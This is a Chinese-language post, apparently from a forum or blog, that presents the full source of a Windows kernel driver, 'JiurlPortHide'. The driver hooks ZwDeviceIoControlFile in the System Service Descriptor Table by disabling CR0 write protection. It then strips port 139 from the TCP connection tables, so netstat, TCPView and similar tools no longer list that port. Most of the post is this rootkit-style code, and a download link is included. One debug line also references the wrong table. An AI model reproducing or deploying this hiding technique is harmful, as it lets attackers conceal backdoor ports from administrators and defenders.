Hook 系统服务隐藏端口
<p>有时候写程序,调试程序真是一件非常有趣的事,就比如这次,蹦蹦跳跳,笑嘻嘻,意犹未尽的就把这个程序搞好了。 </p><p>netstat 或者其他各种列举端口的工具,比如fport,或者 sysinternals 的 Tcpview,都是调用 Iphlpapi.dll 中的 API 来完成端口的列举。而 Iphlpapi.dll 中的 API 最终 <br/>是使用 ZwDeviceIoControlFile ,向设备对象 Device\Tcp 发 IOCTL_TCP_QUERY_INFORMATION_EX 来得到各种信息的。于是我们只要Hook相应的System Service ,然后对得到的结果做一些处理,弄掉不希望出现的端口信息就可以了。不过真正的问题在于,IOCTL_TCP_QUERY_INFORMATION_EX 和端口相关的各种结构定义,参数含义目前都(大部分)是未公开,没人知道的,也就是Undocumented的。Undocumented?? ring3调试,我熟啊。ring0调试,我熟啊。Windows驱动,我熟啊。Windows系统,我熟啊。我怕谁啊我。Undocumented??爽,要的就是Undocumented。 </p><p>通过ring3调试,分析Iphlpapi.dll是如何使用 IOCTL_TCP_QUERY_INFORMATION_EX 相关的各种参数,结合msdn中的一些信息,于是很轻松的搞清了需要了解的结构。用我自己写的awx建一个VC的驱动项目,写好了Hook部分。 </p><p>关于本例中使用的解决Hook在各种Windows版本下运行的方法,在很多地方很多地方都出现了,我不清楚最早是谁想出来的,我是在《Undocumented Windows NT》一书的源码中第一次看到这种方法的。 </p><p>下面是实现源码,很简单,我就不多说什么了。 </p><div class="quote"><p>#if 0 //================================================================ <br/>Copyright (c) JIURL, All Rights Reserved <br/>======================================================================== </p><p>/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ </p><p>Module Name: </p><p>Jiurl_tcpioctl.h </p><p>About: </p><p>- 这个驱动项目由一个我写的 AppWizard 创建。 </p><p>[ HomePage ] <a href="http://jiurl.yeah.net/">http://jiurl.yeah.net</a><br/>~~~~~~~~~~~~~~~~~~~~~ <br/>[ Email ] <a href="mailto:jiurl@mail.china.com">jiurl@mail.china.com</a>
<br/>~~~~~~~~~~~~~~~~~~~~ <br/>[ Forum ] <a href="http://jiurl.cosoft.org.cn/forum/index.php">http://jiurl.cosoft.org.cn/forum/index.php</a>
<br/>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ </p><p>- 有偿定制 AppWizard ,请发邮件联系 。 </p><p>Comments: </p><p>本文件中的所有内容目前都是未公开的,由我分析得出,是隐藏端口的关键内容。 <br/>Undocumented?? 爽!要的就是 Undocumented 。 </p><p>/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ <br/>#endif </p><p><br/>// jiurl // IPSNMPInfo 结构的定义是根据 RFC 2011 <br/>// jiurl // 所以我根据 RFC 2022 ,仿 IPSNMPInfo, 定义结构 TCPSNMPInfo <br/>// jiurl // 再通过一些分析得到一些扩展部分的定义 </p><p>typedef struct TCPSNMPInfo { <br/>ULONG tcpsi_RtoAlgorithm; <br/>ULONG tcpsi_RtoMin; <br/>ULONG tcpsi_RtoMax; <br/>ULONG tcpsi_MaxConn; <br/>ULONG tcpsi_ActiveOpens; <br/>ULONG tcpsi_PassiveOpens; <br/>ULONG tcpsi_AttemptFails; <br/>ULONG tcpsi_EstabResets; <br/>ULONG tcpsi_CurrEstab; <br/>ULONG tcpsi_InSegs; <br/>ULONG tcpsi_OutSegs; <br/>ULONG tcpsi_RetransSegs; <br/>ULONG tcpsi_unknown1; <br/>ULONG tcpsi_unknown2; <br/>ULONG tcpsi_numconn; <br/>} TCPSNMPInfo; </p><p>#define tcpRtoAlgorithm_other 1 // none of the following <br/>#define tcpRtoAlgorithm_constant 2 // a constant rto <br/>#define tcpRtoAlgorithm_rsre 3 // MIL-STD-1778, Appendix B <br/>#define tcpRtoAlgorithm_vanj 4 // Van Jacobson's algorithm </p><p>#define TCP_MIB_STATS_ID 1 <br/>#define TCP_MIB_ADDRTABLE_ENTRY_ID 0x101 <br/>#define TCP_MIB_ADDRTABLE_ENTRY_EX_ID 0x102 </p><p><br/>typedef struct TCPAddrEntry { <br/>ULONG tae_ConnState; <br/>ULONG tae_ConnLocalAddress; <br/>ULONG tae_ConnLocalPort; <br/>ULONG tae_ConnRemAddress; <br/>ULONG tae_ConnRemPort; <br/>} TCPAddrEntry; </p><p>#define tcpConnState_closed 1 <br/>#define tcpConnState_listen 2 <br/>#define tcpConnState_synSent 3 <br/>#define tcpConnState_synReceived 4 <br/>#define tcpConnState_established 5 <br/>#define tcpConnState_finWait1 6 <br/>#define tcpConnState_finWait2 7 <br/>#define tcpConnState_closeWait 8 <br/>#define tcpConnState_lastAck 9 <br/>#define tcpConnState_closing 10 <br/>#define tcpConnState_timeWait 11 <br/>#define tcpConnState_deleteTCB 12 </p><p>typedef struct TCPAddrExEntry { <br/>ULONG tae_ConnState; <br/>ULONG tae_ConnLocalAddress; <br/>ULONG tae_ConnLocalPort; <br/>ULONG tae_ConnRemAddress; <br/>ULONG tae_ConnRemPort; <br/>ULONG pid; <br/>} TCPAddrExEntry; </p><p>#if 0 //================================================================ <br/>Copyright (c) JIURL, All Rights Reserved <br/>======================================================================== </p><p>/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ </p><p>Module Name: </p><p>JiurlPortHide.h </p><p>About: </p><p>- 这个驱动项目由一个我写的 AppWizard 创建。 </p><p>[ HomePage ] <a href="http://jiurl.yeah.net/">http://jiurl.yeah.net</a>
<br/>~~~~~~~~~~~~~~~~~~~~~ <br/>[ Email ] <a href="mailto:jiurl@mail.china.com">jiurl@mail.china.com</a>
<br/>~~~~~~~~~~~~~~~~~~~~ <br/>[ Forum ] <a href="http://jiurl.cosoft.org.cn/forum/index.php">http://jiurl.cosoft.org.cn/forum/index.php</a>
<br/>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ </p><p>- 有偿定制 AppWizard ,请发邮件联系 。 </p><p>/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ <br/>#endif </p><p>#define PORTHIDE 139 </p><p>#pragma pack(1) <br/>typedef struct ServiceDescriptorEntry { <br/>unsigned int *ServiceTableBase; <br/>unsigned int *ServiceCounterTableBase; //Used only in checked build <br/>unsigned int NumberOfServices; <br/>unsigned char *ParamTableBase; <br/>} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; <br/>#pragma pack() </p><p>__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; </p><p><br/>NTSYSAPI <br/>NTSTATUS <br/>NTAPI <br/>ZwDeviceIoControlFile( <br/>IN HANDLE FileHandle, <br/>IN HANDLE Event OPTIONAL, <br/>IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, <br/>IN PVOID ApcContext OPTIONAL, <br/>OUT PIO_STATUS_BLOCK IoStatusBlock, <br/>IN ULONG IoControlCode, <br/>IN PVOID InputBuffer OPTIONAL, <br/>IN ULONG InputBufferLength, <br/>OUT PVOID OutputBuffer OPTIONAL, <br/>IN ULONG OutputBufferLength <br/>); </p><p>typedef NTSTATUS (*ZWDEVICEIOCONTROLFILE)( <br/>IN HANDLE FileHandle, <br/>IN HANDLE Event OPTIONAL, <br/>IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, <br/>IN PVOID ApcContext OPTIONAL, <br/>OUT PIO_STATUS_BLOCK IoStatusBlock, <br/>IN ULONG IoControlCode, <br/>IN PVOID InputBuffer OPTIONAL, <br/>IN ULONG InputBufferLength, <br/>OUT PVOID OutputBuffer OPTIONAL, <br/>IN ULONG OutputBufferLength <br/>); </p><p>ZWDEVICEIOCONTROLFILE OldZwDeviceIoControlFile; </p><p>void DriverUnload(IN PDRIVER_OBJECT DriverObject); </p><p>NTSTATUS <br/>DriverDispatch(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp); </p><p>NTSTATUS NewZwDeviceIoControlFile( <br/>IN HANDLE FileHandle, <br/>IN HANDLE Event OPTIONAL, <br/>IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, <br/>IN PVOID ApcContext OPTIONAL, <br/>OUT PIO_STATUS_BLOCK IoStatusBlock, <br/>IN ULONG IoControlCode, <br/>IN PVOID InputBuffer OPTIONAL, <br/>IN ULONG InputBufferLength, <br/>OUT PVOID OutputBuffer OPTIONAL, <br/>IN ULONG OutputBufferLength <br/>); </p><p><br/>// jiurl // from addrconv.cpp <br/>#define ntohs(s) \ <br/>( ( ((s) >> 8) & 0x00FF ) | \ <br/>( ((s) << 8) & 0xFF00 ) ) </p><p><br/>// jiurl // from tcpioctl.h tdiinfo.h tdistat.h <br/>#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003 </p><p>//* Structure of an entity ID. <br/>typedef struct TDIEntityID { <br/>ULONG tei_entity; <br/>ULONG tei_instance; <br/>} TDIEntityID; </p><p>//* Structure of an object ID. <br/>typedef struct TDIObjectID { <br/>TDIEntityID toi_entity; <br/>ULONG toi_class; <br/>ULONG toi_type; <br/>ULONG toi_id; <br/>} TDIObjectID; </p><p>#define CONTEXT_SIZE 16 <br/>// <br/>// QueryInformationEx IOCTL. The return buffer is passed as the OutputBuffer <br/>// in the DeviceIoControl request. This structure is passed as the <br/>// InputBuffer. <br/>// <br/>struct tcp_request_query_information_ex { <br/>TDIObjectID ID; // object ID to query. <br/>ULONG_PTR Context[CONTEXT_SIZE/sizeof(ULONG_PTR)]; // multi-request context. Zeroed <br/>// for the first request. <br/>}; </p><p>typedef struct tcp_request_query_information_ex <br/>TCP_REQUEST_QUERY_INFORMATION_EX, <br/>*PTCP_REQUEST_QUERY_INFORMATION_EX; </p><p>#define CO_TL_ENTITY 0x400 <br/>#define INFO_CLASS_PROTOCOL 0x200 <br/>#define INFO_TYPE_PROVIDER 0x100 <br/> </p><p>#if 0 //================================================================ <br/>Copyright (c) JIURL, All Rights Reserved <br/>======================================================================== </p><p>/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ </p><p>Module Name: </p><p>JiurlPortHide.cpp </p><p>About: </p><p>- 这个驱动项目由一个我写的 AppWizard 创建。 </p><p>[ HomePage ] <a href="http://jiurl.yeah.net/">http://jiurl.yeah.net</a>
<br/>~~~~~~~~~~~~~~~~~~~~~ <br/>[ Email ] <a href="mailto:jiurl@mail.china.com">jiurl@mail.china.com</a>
<br/>~~~~~~~~~~~~~~~~~~~~ <br/>[ Forum ] <a href="http://jiurl.cosoft.org.cn/forum/index.php">http://jiurl.cosoft.org.cn/forum/index.php</a>
<br/>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ </p><p>- 有偿定制 AppWizard ,请发邮件联系 。 </p><p>/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ <br/>#endif </p><p><br/>#ifdef __cplusplus <br/>extern "C" <br/>{ <br/>#endif </p><p>#include <ntddk.h> </p><p>#include "JiurlPortHide.h" <br/>#include "Jiurl_tcpioctl.h" </p><p>#ifdef __cplusplus <br/>} <br/>#endif </p><p>NTSTATUS <br/>DriverEntry(IN PDRIVER_OBJECT DriverObject, <br/>IN PUNICODE_STRING RegistryPath) <br/>{ <br/>DbgPrint("JiurlPortHide: Hello,This is DriverEntry!\n"); </p><p>DriverObject->MajorFunction[IRP_MJ_CREATE] = <br/>DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDispatch; <br/>DriverObject->DriverUnload = DriverUnload; </p><p>// save old system call locations <br/>OldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]); </p><p>_asm <br/>{ <br/>CLI //dissable interrupt <br/>MOV EAX, CR0 //move CR0 register into EAX <br/>AND EAX, NOT 10000H //disable WP bit <br/>MOV CR0, EAX //write register back <br/>} </p><p>(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)NewZwDeviceIoControlFile; </p><p>_asm <br/>{ <br/>MOV EAX, CR0 //move CR0 register into EAX <br/>OR EAX, 10000H //enable WP bit <br/>MOV CR0, EAX //write register back <br/>STI //enable interrupt <br/>} </p><p>return STATUS_SUCCESS; <br/>} </p><p>NTSTATUS <br/>DriverDispatch( <br/>IN PDEVICE_OBJECT DeviceObject, <br/>IN PIRP Irp <br/>) <br/>{ <br/>Irp->IoStatus.Status = STATUS_SUCCESS; <br/>IoCompleteRequest (Irp,IO_NO_INCREMENT); <br/>return Irp->IoStatus.Status; <br/>} </p><p>void DriverUnload(IN PDRIVER_OBJECT DriverObject) <br/>{ <br/>DbgPrint("JiurlPortHide: Bye,This is DriverUnload!\n"); </p><p>_asm <br/>{ <br/>CLI //dissable interrupt <br/>MOV EAX, CR0 //move CR0 register into EAX <br/>AND EAX, NOT 10000H //disable WP bit <br/>MOV CR0, EAX //write register back <br/>} </p><p>(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)OldZwDeviceIoControlFile; </p><p>_asm <br/>{ <br/>MOV EAX, CR0 //move CR0 register into EAX <br/>OR EAX, 10000H //enable WP bit <br/>MOV CR0, EAX //write register back <br/>STI //enable interrupt <br/>} <br/>} </p><p>NTSTATUS NewZwDeviceIoControlFile( <br/>IN HANDLE FileHandle, <br/>IN HANDLE Event OPTIONAL, <br/>IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, <br/>IN PVOID ApcContext OPTIONAL, <br/>OUT PIO_STATUS_BLOCK IoStatusBlock, <br/>IN ULONG IoControlCode, <br/>IN PVOID InputBuffer OPTIONAL, <br/>IN ULONG InputBufferLength, <br/>OUT PVOID OutputBuffer OPTIONAL, <br/>IN ULONG OutputBufferLength <br/>) <br/>{ <br/>NTSTATUS rc; </p><p>rc = ((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile)) ( <br/>FileHandle, <br/>Event, <br/>ApcRoutine, <br/>ApcContext, <br/>IoStatusBlock, <br/>IoControlCode, <br/>InputBuffer, <br/>InputBufferLength, <br/>OutputBuffer, <br/>OutputBufferLength <br/>); </p><p>if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX) <br/>{ <br/>return(rc); <br/>} </p><p>TCP_REQUEST_QUERY_INFORMATION_EX req; <br/>TCPAddrEntry* TcpTable; <br/>TCPAddrExEntry* TcpExTable; <br/>ULONG numconn; <br/>LONG i; </p><p>DbgPrint("JiurlPortHide: IOCTL_TCP_QUERY_INFORMATION_EX\n"); </p><p>if( NT_SUCCESS( rc ) ) <br/>{ <br/>req.ID.toi_entity.tei_entity = CO_TL_ENTITY; <br/>req.ID.toi_entity.tei_instance = 0; <br/>req.ID.toi_class = INFO_CLASS_PROTOCOL; <br/>req.ID.toi_type = INFO_TYPE_PROVIDER; <br/>req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID; </p><p>if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) ) <br/>{ <br/>numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry); <br/>TcpTable = (TCPAddrEntry*)OutputBuffer; </p><p>for( i=0; i<numconn; i++ ) <br/>{ <br/>if( ntohs(TcpTable[i].tae_ConnLocalPort) == PORTHIDE ) <br/>{ <br/>DbgPrint("JiurlPortHide: HidePort %d\n", ntohs(TcpTable[i].tae_ConnLocalPort)); </p><p>memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) ); <br/>numconn--; <br/>i--; <br/>} <br/>} </p><p>IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry); <br/>return(rc); <br/>} </p><p><br/>req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID; </p><p>if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) ) <br/>{ <br/>numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry); <br/>TcpExTable = (TCPAddrExEntry*)OutputBuffer; </p><p>for( i=0; i<numconn; i++ ) <br/>{ <br/>if( ntohs(TcpExTable[i].tae_ConnLocalPort) == PORTHIDE ) <br/>{ <br/>DbgPrint("JiurlPortHide: HidePort %d\n",ntohs(TcpTable[i].tae_ConnLocalPort)); </p><p>memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) ); <br/>numconn--; <br/>i--; <br/>} <br/>} </p><p>IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry); <br/>return(rc); <br/>} <br/>} </p><p>return(rc); <br/>} </p></div><p><br/> </p><p>下载源码及示例程序 <br/><a href="http://202.106.127.50/articles/200404/JiurlPortHideDir_CN.zip">http://202.106.127.50/articles/200404/JiurlPortHideDir_CN.zip</a><br/></p>
页:
[1]